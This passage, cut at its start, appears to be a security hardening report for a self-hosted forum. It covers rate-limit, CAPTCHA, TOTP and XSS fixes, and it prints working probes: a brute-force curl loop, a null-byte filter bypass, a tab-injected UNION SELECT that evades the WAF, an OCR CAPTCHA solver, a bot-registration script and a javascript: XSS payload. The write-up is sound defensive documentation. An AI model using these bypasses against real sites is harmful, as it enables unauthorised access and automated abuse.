/api/auth/*to a maximum of 200 requests per 15 minutes per IP. This acts as a pre-gate flood control, stopping garbage DoS requests before they reach the authentication logic. - // LAYER 2 \u2014 validate(): Validates the format of codename and authKey fields. Requests with invalid formats are rejected with a 400 status immediately, without consuming rate limit quota or performing any cryptographic work.
- // LAYER 3 \u2014 authLimiter: Restricts to 10 failed attempts per 15 minutes per IP, applied only to requests with valid format. This prevents brute force while allowing legitimate retries.
2.2 Race Condition
The whitebox review (Finding 1.1) identified a race condition in the SQLiteStore.prototype.increment method. The implementation performed a non-atomic read-then-write: it executed db.get to check current hits and reset time, followed by an INSERT OR REPLACE or UPDATE. Under concurrent requests, the async callbacks would interleave in the Node.js event loop before any write completed \u2014 a classic Lost Update. Multiple requests reading the same low hit count would all pass the rate limit check, bypassing the 10-attempt cap.
The fix made the increment operation atomic by using a single SQLite transaction for the read and write phases, preventing the interleaving that allowed the race.
2.3 Information Leak Suppression
The rate limiter was configured with standardHeaders: false and legacyHeaders: false, suppressing the RateLimit-Remaining and related response headers. Without this suppression, an unauthenticated attacker could determine the exact remaining attempt budget, the policy window, and the reset timer \u2014 information that enables precise brute-force timing attacks that stay just under the limit.
for i in $(seq 1 11); do RESP=$(curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code} RateLimit-Remaining: %{header[ratelimit-remaining]}" \ -X POST "https://c2.noir0x63.org/api/auth/login" \ -H "Content-Type: application/json" \ -d '{"codename":"test","password":"abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789"}') echo "$RESP" done Attempt 1: HTTP 401 RateLimit-Remaining: 9 Attempt 2: HTTP 401 RateLimit-Remaining: 8 Attempt 3: HTTP 401 RateLimit-Remaining: 7 Attempt 4: HTTP 401 RateLimit-Remaining: 6 Attempt 5: HTTP 401 RateLimit-Remaining: 5 Attempt 6: HTTP 401 RateLimit-Remaining: 4 Attempt 7: HTTP 401 RateLimit-Remaining: 3 Attempt 8: HTTP 401 RateLimit-Remaining: 2 Attempt 9: HTTP 401 RateLimit-Remaining: 1 Attempt 10: HTTP 401 RateLimit-Remaining: 0 Attempt 11: HTTP 429 RateLimit-Remaining: 0 2.4 Null Byte Search Filter Bypass (C2-001)
The blackbox audit found that the GET /api/threads?search= parameter did not properly sanitize null byte characters. Sending search=%00 bypassed the SQL LIKE filter and returned all threads unfiltered, including shadowbanned content. A normal filtered search returned [] (2 bytes) while the null byte bypass returned the full thread list (3876 bytes). The fix implemented a global middleware that intercepts and blocks any request containing %00 or \\x00 in the query string, returning a 400 status.
curl -s "https://c2.noir0x63.org/api/threads?search=xyz" curl -s "https://c2.noir0x63.org/api/threads?search=%00" 2.5 WAF Evasion via Tab Injection (C2-002)
The Cloudflare WAF blocked SQL keywords like UNION SELECT when presented as contiguous tokens. Inserting a tab character (%09) between the keywords bypassed the WAF signature detection while the backend normalized the tab to whitespace before processing.
curl -s -o /dev/null -w "%{http_code}" \ "https://c2.noir0x63.org/api/threads?search=%00%27%20UNION%20SELECT%201--" curl -s \ "https://c2.noir0x63.org/api/threads?search=%00%27%09UNION%09SELECT%091--" 3. Password Hashing: scrypt to Argon2id
3.1 Threadpool Exhaustion (Finding 1.6)
The finding was documented as Finding 1.6 (\u201cServer Threadpool Blocking\u201d). An attacker could send 5 to 10 concurrent login requests and consume the entire libuv pool, freezing all other I/O operations. This made the three-layer rate limiting architecture ineffective during peak load because the act of verifying a single request\u2019s credentials already blocked the server from processing any other traffic.
3.2 Migration to Argon2id
The password hashing algorithm was migrated from scrypt to Argon2id, the OWASP-recommended standard, using the argon2 native Node.js binding. Argon2id provides built-in resistance against side-channel timing attacks and GPU-based parallel cracking. The migration followed a zero-downtime pattern:
- // READ-OLD, WRITE-NEW: The hash-worker.js module was refactored to support both algorithms. Existing accounts retain their scrypt hash. On first successful login, the system validates the old scrypt hash, then automatically rehashes the password using Argon2id and updates the database record. New registrations use Argon2id by default.
- // CONFIGURABLE COST: Argon2id parameters are set via environment variables with sane defaults (memoryCost=65536, timeCost=3, parallelism=2), allowing adjustment per deployment without code changes.
3.3 Side Effect: Threadpool Liberation
While not the primary motivation for the migration, the switch from scrypt to Argon2id had the architectural side effect of resolving the libuv threadpool exhaustion finding (Finding 1.6). Unlike scrypt, which blocks the shared libuv threadpool (default 4 threads) shared with all other I/O operations, Argon2id delegates its workload to its own dedicated native worker pool. This means password verification no longer competes with database queries, network I/O, or the rate limiter\u2019s own database access for threadpool capacity. The three-layer rate limiting system can now operate as designed, because verifying credentials no longer blocks the server\u2019s ability to continue processing requests.
4. CAPTCHA to Invisible Honeypot
4.1 Problem
The SVG vector CAPTCHA, while visually challenging, was proven bypassable through source code analysis. The character path templates were embedded in the server code, and the coordinate jitter of +/- 0.4px was insufficient to prevent deterministic matching. Additionally, the visual CAPTCHA created user friction: humans had to decode distorted characters, and mobile users experienced zoom issues.
4.2 Implementation
The visual CAPTCHA was replaced with an invisible honeypot system. The CAPTCHA container is visually hidden using CSS (display:none, off-screen positioning). The input field remains in the HTML DOM but is invisible to human users. The backend validation logic was inverted: instead of checking that the captchaInput matches the expected text, the server rejects any registration where captchaInput is non-empty. Automated scrapers and scripted registrations that fill all visible form fields will populate the honeypot field and be rejected with a REGISTRATION_REJECTED error. The Proof-of-Work challenge continues to run client-side as a secondary bot deterrent.
This approach eliminates CAPTCHA-related user friction entirely while maintaining the same level of bot protection for the majority of automated attackers. Targeted attackers with knowledge of the honeypot field could still bypass it, but the PoW and rate limiting provide layered defense.
{ "captchaSvg": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmci...", "captchaToken": "1782598833317:85b6fb572a49c6c4a8fa7c792d9e7a98:e087278045d2c62a...", "powChallenge": "91fc751ed3095259c6171c157f21fe79", "powDifficulty": 5, "captchaIssuedAt": 1782598833317, "userField": "v_8a1f3c2b", "passwordField": "v_4d7e9f1a", "honeypotFields": [ {"name": "v_f50ab230583c", "label": "Email verification", "technique": 0}, {"name": "v_416e3e1a0829", "label": "Phone validation", "technique": 1}, {"name": "v_8be7844ca88f", "label": "Secondary authentication", "technique": 2} ], "hpToken": "1782598833317:89761fedf96b1f6cb6fa2bf649c5ce502211d64ed66a0f144ee575f633b2172c" } import hashlib, sys, time challenge = sys.argv[1] difficulty = int(sys.argv[2]) target = "0" * difficulty nonce = 0 start = time.time() while True: data = challenge + str(nonce) h = hashlib.sha256(data.encode()).hexdigest() if h.startswith(target): elapsed = time.time() - start print(f"nonce={nonce}") print(f"hash={h}") print(f"time={elapsed:.3f}s") break nonce += 1 import requests, base64, re, subprocess import cv2, numpy as np, pytesseract def solve_captcha(): resp = requests.get("https://c2.noir0x63.org/api/auth/captcha", timeout=15) data = resp.json() svg = base64.b64decode(data["captchaSvg"]).decode() svg = svg.replace("#050505", "#ffffff") for c in ["#003f1f", "#006633", "#007f3f", "#00cc44"]: svg = svg.replace(c, "#000000") with open(os.environ["TEMP"] + "/captcha.svg", "w") as f: f.write(svg) subprocess.run([ EDGE, "--headless", "--disable-gpu", "--window-size=720,240", "--screenshot=" + os.environ["TEMP"] + "/captcha_output.png", "file:///" + os.environ["TEMP"] + "/captcha.svg" ], capture_output=True, timeout=15) img = cv2.imread(os.environ["TEMP"] + "/captcha_output.png", cv2.IMREAD_GRAYSCALE) _, th = cv2.threshold(img, 128, 255, cv2.THRESH_BINARY_INV) for psm in [7, 8, 11, 13]: text = pytesseract.image_to_string(th, config=f"--psm {psm}").strip() print(f"PSM {psm}: {text}") import requests, json, hashlib, base64, os from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.primitives.ciphers.aead import AESGCM API = "https://c2.noir0x63.org/api" S = requests.Session() def solve_pow(challenge, difficulty): target = "0" * difficulty; nonce = 0 while True: h = hashlib.sha256((challenge + str(nonce)).encode()).hexdigest() if h.startswith(target): return str(nonce) nonce += 1 def derive_keys(passphrase, codename): name = codename.lower() auth_salt = f"c2.noir0x63.org:{name}:auth:v2".encode() enc_salt = f"c2.noir0x63.org:{name}:enc:v2".encode() auth_kdf = PBKDF2HMAC(hashes.SHA256(), 32, auth_salt, 600000) enc_kdf = PBKDF2HMAC(hashes.SHA256(), 32, enc_salt, 600000) return auth_kdf.derive(passphrase.encode()).hex(), enc_kdf.derive(passphrase.encode()) def generate_keys(enc_key): priv = ec.generate_private_key(ec.SECP256R1()) pub_spki = base64.b64encode(priv.public_key().public_bytes( serialization.Encoding.DER, serialization.PublicFormat.SubjectPublicKeyInfo)).decode() pkcs8 = priv.private_bytes(serialization.Encoding.DER, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) iv = os.urandom(12) enc_priv = base64.b64encode(iv + AESGCM(enc_key).encrypt(iv, pkcs8, None)).decode() return pub_spki, enc_priv captcha = S.get(f"{API}/auth/captcha", timeout=15).json() pow_salt = solve_pow(captcha["powChallenge"], captcha["powDifficulty"]) auth_key, enc_key = derive_keys("Pentest2026!", "BotTest666") pub_spki, enc_priv = generate_keys(enc_key) reg_body = { "codename": "BotTest666", "password": auth_key, "publicKeySPKI": pub_spki, "encryptedPrivateKey": enc_priv, "captchaInput": captcha_text, "captchaToken": captcha["captchaToken"], "powChallenge": captcha["powChallenge"], "powSalt": pow_salt, "hpToken": captcha["hpToken"], "captchaIssuedAt": captcha["captchaIssuedAt"], **{f["name"]: "" for f in captcha["honeypotFields"]}, } resp = S.post(f"{API}/auth/register", json=reg_body, timeout=15) print(resp.status_code, resp.json()) 5. 2FA/TOTP Implementation and Hardening
5.1 Discovery \u2014 MFA Flow and Source Review
The MFA flow was identified through API probing. A login request to POST /api/auth/login returned MFA_REQUIRED with a single-use mfaToken, leading to the discovery of the /api/auth/mfa/submit endpoint that accepts the mfaToken and mfaCode. Source code review of server.js also revealed that the captcha endpoint included a mfaField parameter alongside userField and passwordField \u2014 randomized field names that change on every request to prevent automated form submission.
The captcha response includes three randomized field names. The mfaField is present even for accounts without 2FA enabled, preventing attackers from detecting which accounts have 2FA by observing the presence or absence of the MFA parameter.
5.2 MFA Login Flow
The C2 forum implements Time-based One-Time Password (TOTP) authentication as a second factor. When a user has 2FA enabled, the standard login process is extended with a verification step. After submitting valid credentials to POST /api/auth/login, the server returns a MFA_REQUIRED status with a single-use mfaToken. The client then submits the current TOTP code from the user's authenticator application via POST /api/auth/mfa/submit along with the mfaToken and mfaCode. The server validates the TOTP code against the user's stored secret. On success, the session token is returned. On failure, the client is prompted to retry or fall back to recovery codes.
To prevent automated credential stuffing and form submission, the login endpoint uses dynamically randomized field names. The captcha endpoint response includes:
- // userField: Randomized name for the username/codename field. Changes on every captcha request.
- // passwordField: Randomized name for the password/authKey field.
- // mfaField: Randomized name for the MFA code field. Present even for users without 2FA enabled, preventing attackers from detecting which accounts have 2FA.
5.3 Enrollment and Key Storage
Users enroll in 2FA from the profile settings page. The feature is presented as a card in the user interface showing the current 2FA status and options to enable or disable. When enabling, the server generates a TOTP secret using a cryptographically secure random generator. The secret is encoded as an otpauth:// URI containing the issuer (C2 Forum), the user's codename, and the base32-encoded secret. This URI is rendered as a QR code for scanning with standard authenticator applications (Google Authenticator, Authy, Microsoft Authenticator) and also displayed as a manual setup key. The user confirms enrollment by submitting the current TOTP code, which the server validates before enabling 2FA on the account.
5.4 Cryptographic Secret Protection
TOTP secrets are encrypted at rest before storage in SQLite. The encryption uses AES-256-GCM with an initialization vector (IV) generated per secret. The encryption key is derived from the TOTP_PEPPER environment variable, which is generated once during initial server setup and stored in the .env file. The encrypted secret, IV, and authentication tag are stored together in the database. On each 2FA verification, the server reads the ciphertext from the database, decrypts it using the TOTP_PEPPER, and validates the TOTP code against the recovered plaintext secret.
5.5 Architectural Bug and Recovery
A critical architectural flaw was discovered in the original TOTP secret storage implementation. The server used a volatile in-memory key to encrypt 2FA secrets before persisting them to SQLite. On every server restart, this key was regenerated from scratch, making all stored TOTP secrets unrecoverable. Any user with 2FA enabled would be permanently locked out after a server reboot or redeployment, unable to complete the MFA step of the login flow. Additionally, the 2FA settings card in the frontend was leaking information about the 2FA enrollment state, which was corrected as part of the hardening.
The fix replaced the volatile in-memory key with the TOTP_PEPPER environment variable, stored persistently in .env and regenerated only manually when rotation is required. The TOTP secrets are now encrypted deterministically: the same plaintext secret always produces valid ciphertext that can be decrypted after any number of server restarts. After applying the fix, the 2FA state for the existing Noir account was reset to allow secure re-binding of the authenticator application. The TOTP_PEPPER variable is also auto-generated with a secure random value during Render deployment via the IaC render.yaml specification.
import requests API = "https://c2.noir0x63.org/api" S = requests.Session() c = S.get(f"{API}/auth/captcha", timeout=15).json() uf = c["userField"] pf = c["passwordField"] mf = c["mfaField"] body = { uf: "Noir", pf: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", mf: "", "captchaToken": c["captchaToken"], "captchaInput": "TEST", "powChallenge": c["powChallenge"], "powSalt": "172497", } resp = S.post(f"{API}/auth/login", json=body, timeout=15) print(resp.status_code, resp.json()) if resp.json().get("status") == "MFA_REQUIRED": mfa_token = resp.json()["mfaToken"] mfa_body = { "codename": "Noir", "mfaToken": mfa_token, "mfaCode": "000000", } resp2 = S.post(f"{API}/auth/mfa/submit", json=mfa_body, timeout=15) print(f"MFA submit: {resp2.status_code} {resp2.json()}") import requests, hashlib, time API = "https://c2.noir0x63.org/api" data = requests.get(f"{API}/auth/captcha", timeout=15).json() print(f"userField: {data['userField']}") print(f"passwordField: {data['passwordField']}") print(f"mfaField: {data['mfaField']}") resp = requests.post(f"{API}/auth/login", json={ data['userField']: "Noir", data['passwordField']: "abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789", data['mfaField']: "", "captchaToken": data['captchaToken'], "captchaInput": "TEST", "powChallenge": data['powChallenge'], "powSalt": str(172497), }, timeout=15) print(f"Status: {resp.status_code}") 6. KaTeX XSS Defense Verification
6.1 XSS Audit
The client-side application was audited for XSS vulnerabilities (documented in the XSS Audit Report). The analysis found the frontend to be resistant to both DOM-based and reflected XSS. Multiple layers of protection are in place: user-controlled data is injected via .textContent instead of innerHTML, all rendered content passes through DOMPurify, and a fallback escapeHtml function handles edge cases where the sanitizer pipeline is bypassed. The XSS audit result was clean.
6.2 The KaTeX Mutation Vector
The C2 forum allows rich content through Markdown (via marked) and mathematical LaTeX rendering (via KaTeX). This combination creates a known XSS surface: KaTeX can transform apparently safe HTML into executable vectors. For example, the LaTeX command \\href{javascript:...} can generate anchor elements with javascript: URIs after rendering, which the initial DOMPurify pass would not catch because the dangerous content is generated during the KaTeX rendering phase, not present in the original Markdown output.
6.3 Double-Pass Architecture
The client-side rendering pipeline implements a two-pass DOMPurify sanitization chain:
- // PASS 1: The raw HTML output from the Markdown parser is sanitized through DOMPurify. This removes standard XSS vectors: script tags, event handlers (onerror, onclick, onload), javascript: pseudo-protocols, and known mutation payloads.
- // GENERATION: The clean DOM is scanned for LaTeX math blocks, which are passed to KaTeX for rendering. KaTeX generates HTML output that may contain anchors or attributes derived from user-supplied LaTeX commands.
- // PASS 2: The final DOM, now containing KaTeX-generated HTML, undergoes a second DOMPurify sanitization pass. This catches any mutation-based XSS that KaTeX introduced, such as javascript: URIs in href attributes or inline event handlers that were not present in the original Markdown.
This double-pass architecture is complemented by the use of textContent instead of innerHTML for non-rendered user data (usernames, titles, metadata), providing defense in depth against stored and reflected XSS. The approach follows the principle that any content pipeline involving intermediate transformations must validate output at every stage.
curl -s -X POST "https://c2.noir0x63.org/api/threads" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "title": "KaTeX XSS Test", "content": "\\href{javascript:alert(1)}{Click me}", "category": "web-security", "signature": "...", "nonce": "...", "timestamp": "..." }' 7. Infrastructure as Code: render.yaml
The deployment specification was codified as a render.yaml file to enable reproducible cloud deployments on Render. Key infrastructure decisions encoded in the specification:
- // PERSISTENT DISK: A 1GB persistent disk (c2-data) mounted at /data prevents SQLite database loss on container restarts or deployments. The DATA_DIR environment variable points the application to this mounted volume.
- // WEB SERVICE CONFIG: The service is defined as a web service on the Render infrastructure, with the start command set to node server.js. The Cloudflare tunnel component is excluded for cloud deployment, as Render provides native HTTPS termination.
- // ENVIRONMENT VARIABLES: Sensitive values (TOTP_PEPPER, session secrets) are defined as Render environment variables rather than committed to version control. The TOTP_PEPPER variable is auto-generated with a secure random value on first deployment.
The IaC specification was pushed to the repository under commit d9239b2. The full repository is available at github.com/Noir0x63/Command-Control-Forum.
services: - type: web name: c2-forum env: node buildCommand: npm install startCommand: node server.js envVars: - key: DATA_DIR value: /data - key: TOTP_PEPPER generateValue: true disk: name: c2-data mountPath: /data sizeGB: 1 8. Verification and Results
| Vector | Before (v2.0) | After (v2.2) |
|---|---|---|
| Rate limit race condition | Vulnerable (lost updates, bypassable concurrent) | Fixed (atomic SQLite operations, suppressed headers) |
| Null byte search bypass | Vulnerable (%00 bypasses LIKE filter, returns all threads) | Fixed (global sanitization middleware, blocks %00/\\x00) |
| DoS via scrypt threadpool | Vulnerable (4 threads, N=131072) | Mitigated (Argon2id, dedicated worker pool) |
| CAPTCHA bypass via template matching | Vulnerable (deterministic path solver) | Mitigated (invisible honeypot, no text to match) |
| XSS via KaTeX mutation | Existing (DOMPurify, textContent, escapeHtml) | Verified (double DOMPurify chain, audit clean) |
| TOTP secret persistence | Critical (volatile in-memory key, lockout on restart) | Fixed (TOTP_PEPPER env var, persistent encryption) |
| Deployment reproducibility | Manual configuration | IaC via render.yaml, persistent disk, env vars |
All seven hardening vectors were verified in staging and promoted to production on 2026-07-03. System state: SECURE v2.2.
9. Architectural Summary
The hardening cycle addressed seven distinct layers of the application stack. The input validation layer blocked null byte injection and WAF evasions via global sanitization middleware. The rate limiting layer fixed a race condition in the SQLite-backed limiter and suppressed information-leaking headers. The authentication layer migrated from scrypt to Argon2id, eliminating a trivial DoS vector while improving resistance to GPU-based password cracking. The MFA layer resolved the TOTP secret persistence flaw, replacing a volatile in-memory encryption key with a stable environment variable to prevent permanent user lockout on server restarts. The anti-bot layer replaced a bypassable visual CAPTCHA with an invisible honeypot, reducing user friction while maintaining automated registration protection. The content rendering layer verified the double DOMPurify chain that closes mutation-based XSS vectors from KaTeX. The deployment layer codified infrastructure as render.yaml, ensuring reproducible and secure cloud deployments with persistent storage.
Each remediation was grounded in specific findings from the whitebox and blackbox audit sessions. The approach prioritized architectural fixes over point patches: replacing a fundamentally flawed algorithm (scrypt) rather than increasing threadpool size, replacing a broken CAPTCHA model rather than adding more distortion, implementing persistent TOTP secret encryption rather than relying on volatile memory, and constructing a robust sanitization pipeline rather than maintaining a blocklist of LaTeX commands. The result is a v2.2 system with measurable security improvements across authentication, MFA, anti-automation, content security, and deployment infrastructure.